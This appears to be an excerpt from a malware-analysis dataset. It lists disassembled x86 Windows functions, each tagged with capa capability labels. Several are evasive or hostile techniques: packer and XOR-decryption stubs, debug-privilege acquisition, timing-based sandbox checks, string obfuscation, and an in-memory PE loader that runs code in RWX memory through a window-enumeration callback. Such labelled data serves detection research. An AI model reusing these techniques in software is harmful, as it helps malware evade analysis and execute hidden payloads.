joyce8/EMBER2024-capa huggingface dataset:
Function at 0xb98d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xb98d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xb98d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xb98d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xb98d94
push eax
push esi
call fcn.00b9b20b
add esp, 8
pop esi
ret 0x10

Function at 0xb98da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb98e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xb98e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xbb1320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00b9adff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xb98dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xb98e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb98ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xb98eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xbb1320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00b9adff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xb98eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xb98e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xb99000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xb99131
push esi
call fcn.00b9c145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00b8b080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xb99131
push 0
push ebp
call fcn.00b8b3a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00b8b260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xb9908b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00b8b2f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xb99121
push 0xbb1918
push edi
call fcn.00b9a3f0
push eax
push ebx
push esi
call fcn.00b98f60
push 0xbb18f8
push edi
call fcn.00b9a3f0
push eax
push ebx
push esi
call fcn.00b98f60
push 0xbb18d8
push edi
call fcn.00b9a3f0
push eax
push ebx
push esi
call fcn.00b98f60
push 0xbb18c0
push edi
call fcn.00b9a3f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00b98f60
push 0xbb18a0
push edi
call fcn.00b9a3f0
push eax
push ebx
push esi
call fcn.00b98f60
push 0xbb1888
push edi
call fcn.00b9a3f0
push eax
push ebx
push esi
call fcn.00b98f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xb9a1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00b9a140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00b9a140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00b9a140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00b9a140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xb9abfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xb9ac50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xbac87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xb9ac43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xb9ac52
xor eax, eax
pop esi
leave
ret 4
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x646b0b75
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x73bc7d1c
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x416f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0xd000]
push edi
or ebp, 0xffffffff
jmp 0x416f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x416f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x416f38
mov eax, 1
add ebx, ebx
jne 0x416f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x416f50
jne 0x416f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416f50
xor ecx, ecx
sub eax, 3
jb 0x416f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x416ff2
mov ebp, eax
add ebx, ebx
jne 0x416f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416fbc
inc ecx
add ebx, ebx
jne 0x416fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416f9d
jne 0x416fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416fcd
jmp 0x416f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416fdc
add edi, ecx
jmp 0x416f3e
pop esi
mov edi, esi
mov ecx, 0x712
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x416ffa
cmp byte [edi], 0xa
jne 0x416ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x416fff
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x41706e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x17000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17078]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41702c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1707c]
or eax, eax
je 0x417068
mov dword [ebx], eax
add ebx, 4
jmp 0x417049
call dword [esi + 0x17080]
popal
jmp 0x407cd2
Function at 0x40141f
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x58
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edi, esp
mov dword [esp + 0x2c], eax
nop
test eax, eax
nop
vxorpd xmm0, xmm0, xmm0
vmovsd qword [esp + 0x20], xmm0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
xor eax, eax
mov dword [esp + 0x1c], eax
nop
test eax, eax
nop
lea eax, [esp + 8]
push eax
call esi
nop
test eax, eax
nop
mov eax, 0xc8
fyl2xp1
dec eax
jne 0x401474
push edi
call esi
mov ecx, esi
mov esi, dword [esp]
sub esi, dword [esp + 8]
mov edi, dword [esp + 4]
sbb edi, dword [esp + 0xc]
nop
test eax, eax
nop
nop
test eax, eax
nop
lea eax, [esp + 8]
push eax
mov ebx, ecx
call ecx
nop
test eax, eax
nop
mov eax, 0xc8
push eax
push ebx
push ecx
push edx
xor eax, eax
cpuid
pop edx
pop ecx
pop ebx
pop eax
dec eax
jne 0x4014aa
vmovd xmm0, esi
vpinsrd xmm0, xmm0, edi, 1
vmovq qword [esp + 0x48], xmm0
fild qword [esp + 0x48]
fstp qword [esp + 0x40]
mov edi, esp
push edi
mov esi, ebx
call ebx
nop
test eax, eax
nop
mov eax, dword [esp]
sub eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sbb ecx, dword [esp + 0xc]
vmovd xmm0, eax
vpinsrd xmm0, xmm0, ecx, 1
vmovq qword [esp + 0x38], xmm0
fild qword [esp + 0x38]
fstp qword [esp + 0x30]
vmovsd xmm0, qword [esp + 0x30]
nop
test eax, eax
nop
nop
test eax, eax
nop
vdivsd xmm0, xmm0, qword [esp + 0x40]
nop
test eax, eax
nop
vucomisd xmm0, qword [str.333333]
jbe 0x401570
nop
test eax, eax
nop
mov ebx, dword [esp + 0x1c]
lea eax, [ebx + 1]
vcvtsi2sd xmm1, xmm3, eax
vmovsd xmm2, qword [esp + 0x20]
vdivsd xmm1, xmm2, xmm1
vaddsd xmm1, xmm1, xmm1
vucomisd xmm0, xmm1
jbe 0x401578
nop
test eax, eax
nop
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
test eax, eax
nop
dec ebx
nop
test eax, eax
nop
inc dword [esp + 0x14]
nop
test eax, eax
nop
jmp 0x401595
inc dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
vmovsd xmm1, qword [esp + 0x20]
vaddsd xmm1, xmm1, xmm0
vmovsd qword [esp + 0x20], xmm1
nop
test eax, eax
nop
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebx + 1]
cmp ebx, 0x63
jl 0x40145a
nop
test eax, eax
nop
cmp dword [esp + 0x14], 0xb
jl 0x4015bd
mov eax, dword [esp + 0x2c]
inc eax
cmp eax, 5
jne 0x401435
jmp 0x4015c2
nop
test eax, eax
nop
nop
test eax, eax
nop
mov eax, dword [esp + 0x18]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4023a2
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
call fcn.00407b20
push str.KernelBase
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
nop
test eax, eax
nop
call fcn.00402311
nop
test eax, eax
nop
push 1
push dword fs:[0]
mov dword fs:[0], esp
push str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
test eax, eax
nop
call fcn.0040141f
mov dword [0x4401c0], eax
nop
test eax, eax
nop
mov eax, dword [0x4401c0]
sub dword [0x4401bc], eax
nop
test eax, eax
nop
push dword [0x4401bc]
call fcn.004015d3
add esp, 4
test eax, eax
je 0x40243b
push 0x1b207
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.00405939
nop
test eax, eax
nop
call fcn.00404f99
nop
test eax, eax
nop
xor eax, eax
inc eax
pop ebp
ret
nop
test eax, eax
nop
push 1
call sub.msvcrt.dll_exit
int3

Function at 0x4024a8
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
mov dword [ecx], 0x64757374
mov byte [ecx + 4], 0
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
call sub.msvcrt.dll_rand
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
xor eax, eax
nop
test eax, eax
nop
nop
mov ecx, eax
and cl, 1
xor byte [esi + eax], cl
nop
test eax, eax
nop
nop
inc eax
cmp eax, 4
jne 0x4024e6
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
pop esi
ret

Function at 0x40263a
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
vmovsd xmm0, qword [str.SiovAqpr]
vmovsd qword [ecx], xmm0
mov dword [ecx + 8], 0x7573684c
mov byte [ecx + 0xc], 0
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
call sub.msvcrt.dll_rand
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
xor eax, eax
nop
test eax, eax
nop
nop
mov ecx, eax
and cl, 1
xor byte [esi + eax], cl
nop
test eax, eax
nop
nop
inc eax
cmp eax, 0xc
jne 0x402685
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
pop esi
ret

Function at 0x4026b2
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
vmovsd xmm0, qword [str.LnaeLhbs]
vmovsd qword [ecx], xmm0
mov dword [ecx + 8], 0x56797361
mov byte [ecx + 0xc], 0
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
call sub.msvcrt.dll_rand
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
xor eax, eax
nop
test eax, eax
nop
nop
mov ecx, eax
and cl, 1
xor byte [esi + eax], cl
nop
test eax, eax
nop
nop
inc eax
cmp eax, 0xc
jne 0x4026fd
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
pop esi
ret
Function at 0x402782
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
mov word [ecx], 0x7472
mov byte [ecx + 2], 0
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
call sub.msvcrt.dll_rand
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
xor edx, edx
mov al, 1
xor ecx, ecx
inc ecx
nop
test eax, eax
nop
nop
xor byte [esi + edx], dl
nop
test eax, eax
nop
nop
mov edx, ecx
test al, 1
mov eax, 0
jne 0x4027c4
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
pop esi
ret

Function at 0x402928
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
vmovsd xmm0, qword [str.GdtQrnc_]
vmovsd qword [ecx], xmm0
mov dword [ecx + 8], 0x64726564
mov word [ecx + 0xc], 0x7273
mov byte [ecx + 0xe], 0
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
call sub.msvcrt.dll_rand
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
xor eax, eax
nop
test eax, eax
nop
nop
mov ecx, eax
and cl, 1
xor byte [esi + eax], cl
nop
test eax, eax
nop
nop
inc eax
cmp eax, 0xe
jne 0x402979
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
pop esi
ret

Function at 0x402d7e
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x90
mov edi, dword [esp + 0xa8]
mov eax, dword [esp + 0xa4]
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
xor ecx, ecx
vmovdqa ymm0, ymmword [0x4388c0]
vmovdqa xmm1, xmmword [0x4388e0]
vpbroadcastb xmm2, byte [0x4388f0]
nop
test eax, eax
nop
movsx edx, byte [eax + ecx]
vmovd xmm3, edx
vpbroadcastd ymm3, xmm3
vpsrlvd ymm3, ymm3, ymm0
vextracti128 xmm4, ymm3, 1
vpshufb xmm4, xmm4, xmm1
vpshufb xmm3, xmm3, xmm1
vpunpckldq xmm3, xmm3, xmm4
vpand xmm3, xmm3, xmm2
vmovq qword [esp + ecx*8 + 0x30], xmm3
inc ecx
cmp ecx, 8
jne 0x402dc5
nop
test eax, eax
nop
lea ebx, [esp + 0x30]
push ebx
vzeroupper
call fcn.00402b92
nop
test eax, eax
nop
xor ebp, ebp
mov esi, esp
nop
test eax, eax
nop
vmovdqu ymm0, ymmword [ebx + 0x20]
vmovdqu ymmword [esp], ymm0
nop
test eax, eax
nop
push esi
vzeroupper
call fcn.00402c32
nop
test eax, eax
nop
xor eax, eax
nop
test eax, eax
nop
mov cl, byte [edi + eax]
xor byte [esp + eax], cl
nop
test eax, eax
nop
inc eax
cmp eax, 0x30
jne 0x402e3f
nop
test eax, eax
nop
push esi
call fcn.00402ccc
nop
test eax, eax
nop
push esi
call fcn.00402c84
xor eax, eax
nop
test eax, eax
nop
mov cl, byte [esp + eax]
xor byte [esp + eax + 0x30], cl
nop
test eax, eax
nop
inc eax
cmp eax, 0x20
jne 0x402e6d
nop
test eax, eax
nop
cmp ebp, 0xf
je 0x402ed2
nop
test eax, eax
nop
vmovups ymm0, ymmword [esp + 0x30]
vmovups ymmword [esp + 0x70], ymm0
nop
test eax, eax
nop
vmovups ymm0, ymmword [ebx + 0x20]
vmovups ymmword [esp + 0x30], ymm0
nop
test eax, eax
nop
vmovdqu ymm0, ymmword [esp + 0x70]
vmovdqu ymmword [ebx + 0x20], ymm0
nop
test eax, eax
nop
nop
test eax, eax
nop
inc ebp
add edi, 0x30
jmp 0x402e1b
push ebx
call fcn.00402be0
nop
test eax, eax
nop
push dword [esp + 0xac]
push ebx
call fcn.00402a08
nop
test eax, eax
nop
add esp, 0x90
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40397d
Capabilities:
Accept command line arguments

Disassembly:
push ebp
push ebx
push edi
push esi
xor edi, edi
xor ebx, ebx
dec ebx
mov ebp, 0xfde9
push edi
push edi
push ebx
push dword [0x4420c4]
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, eax
nop
test eax, eax
nop
inc eax
push 2
push eax
call sub.msvcrt.dll_calloc
add esp, 8
mov dword [0x4420c8], eax
nop
test eax, eax
nop
push esi
push dword [0x4420c8]
push ebx
push dword [0x4420c4]
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop
test eax, eax
nop
push 0x4420a0
push dword [0x4420c8]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [0x4420c0], eax
nop
test eax, eax
nop
mov esi, dword [0x4420a0]
shl esi, 2
nop
test eax, eax
nop
cmp dword [0x4420a0], edi
jle 0x403a50
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor ebp, ebp
mov eax, dword [0x4420c0]
mov eax, dword [eax + ebp*4]
sub esp, 0x20
mov dword [esp + 0x1c], edi
vmovaps xmm0, xmmword [0x438c80]
vmovups xmmword [esp + 0xc], xmm0
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], 0xfde9
call ebx
nop
test eax, eax
nop
add esi, eax
nop
test eax, eax
nop
inc ebp
cmp ebp, dword [0x4420a0]
jl 0x403a0d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4420bc], eax
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
cmp dword [0x4420a0], 0
jle 0x403ad7
mov eax, dword [0x4420a0]
mov ecx, dword [0x4420bc]
mov edx, dword [0x4420a0]
lea edi, [ecx + edx*4]
shl eax, 2
sub esi, eax
xor ebx, ebx
xor ebp, ebp
mov eax, dword [0x4420c0]
push ebx
push ebx
push esi
push edi
push 0xffffffffffffffff
push dword [eax + ebp*4]
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
test eax, eax
nop
mov ecx, dword [0x4420bc]
mov dword [ecx + ebp*4], edi
nop
test eax, eax
nop
add edi, eax
nop
test eax, eax
nop
sub esi, eax
nop
test eax, eax
nop
inc ebp
cmp ebp, dword [0x4420a0]
jl 0x403a93
mov dword [0x44209c], 1
nop
test eax, eax
nop
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x403aeb
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
test ecx, ecx
je 0x403b3b
nop
test eax, eax
nop
nop
test eax, eax
nop
movzx edx, word [ecx]
nop
test eax, eax
nop
cmp edx, 0x5a4d
jne 0x403b3b
mov edx, dword [ecx + 0x3c]
nop
test eax, eax
nop
cmp edx, 0x400
jg 0x403b3b
nop
test eax, eax
nop
nop
test eax, eax
nop
cmp dword [ecx + edx], 0x4550
jne 0x403b3b
add ecx, edx
nop
test eax, eax
nop
mov eax, ecx
ret
Function at 0x403f57
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
mov esi, dword [esp + 0x38]
mov ebx, dword [esp + 0x34]
nop
test eax, eax
nop
call fcn.0040397d
nop
test eax, eax
nop
test esi, esi
je 0x403f96
xor eax, eax
xor ecx, ecx
nop
test eax, eax
nop
nop
test eax, eax
nop
add eax, 1
adc ecx, 0
cmp eax, esi
mov edx, ecx
sbb edx, 0
jb 0x403f7d
nop
test eax, eax
nop
push ebx
call fcn.00403aeb
add esp, 4
nop
test eax, eax
nop
test eax, eax
je 0x404102
mov esi, eax
push 5
push ebx
call fcn.00403b3c
add esp, 8
mov dword [esp + 4], eax
nop
test eax, eax
nop
mov eax, dword [esi + 0x34]
mov dword [esp], eax
nop
test eax, eax
nop
lea edi, [esp + 8]
mov ecx, edi
call fcn.00404690
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
nop
test eax, eax
nop
mov ecx, edi
call fcn.00404708
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esi + 0x34]
push 0xffffffffffffffff
call eax
nop
test eax, eax
nop
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
nop
test eax, eax
nop
test eax, eax
jne 0x40405b
nop
test eax, eax
nop
cmp dword [esp + 4], 0
je 0x4040fd
push 0x40
push 0x3000
push dword [esi + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
test eax, eax
nop
test eax, eax
je 0x404102
mov edi, eax
nop
test eax, eax
nop
mov dword [esi + 0x34], edi
nop
test eax, eax
nop
push dword [esi + 0x54]
push ebx
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
nop
test eax, eax
nop
nop
test eax, eax
nop
cmp word [esi + 6], 0
mov dword [esp], esi
je 0x4040cc
mov edx, ebx
mov ebp, dword [esp]
add ebp, 0xf8
add ebp, 0x14
xor ebx, ebx
nop
test eax, eax
nop
mov eax, dword [ebp - 8]
add eax, edi
mov ecx, dword [ebp]
add ecx, edx
push dword [ebp - 4]
push ecx
push eax
mov esi, edi
mov edi, edx
call sub.msvcrt.dll_memcpy
mov edx, edi
mov edi, esi
add esp, 0xc
nop
test eax, eax
nop
inc ebx
mov eax, dword [esp]
movzx eax, word [eax + 6]
add ebp, 0x28
cmp ebx, eax
jb 0x404094
push edi
call fcn.00403b8c
add esp, 4
nop
test eax, eax
nop
mov eax, dword [esp]
add edi, dword [eax + 0x28]
nop
test eax, eax
nop
xor eax, eax
push eax
push edi
push eax
call dword [sym.imp.USER32.dll_EnumThreadWindows]
nop
test eax, eax
nop
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
nop
test eax, eax
nop
push 0
call sub.msvcrt.dll_exit
int3

Function at 0x40410a
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
vmovaps xmm0, xmmword [str.FeuCnmlaodMioe_]
vmovups xmmword [ecx], xmm0
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
call sub.msvcrt.dll_rand
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
xor eax, eax
nop
test eax, eax
nop
nop
mov ecx, eax
and cl, 1
xor cl, byte [esi + eax]
xor cl, 1
mov byte [esi + eax], cl
nop
test eax, eax
nop
nop
inc eax
cmp eax, 0xf
jne 0x40414a
nop
test eax, eax
nop
nop
nop
test eax, eax
nop
nop
pop esi
ret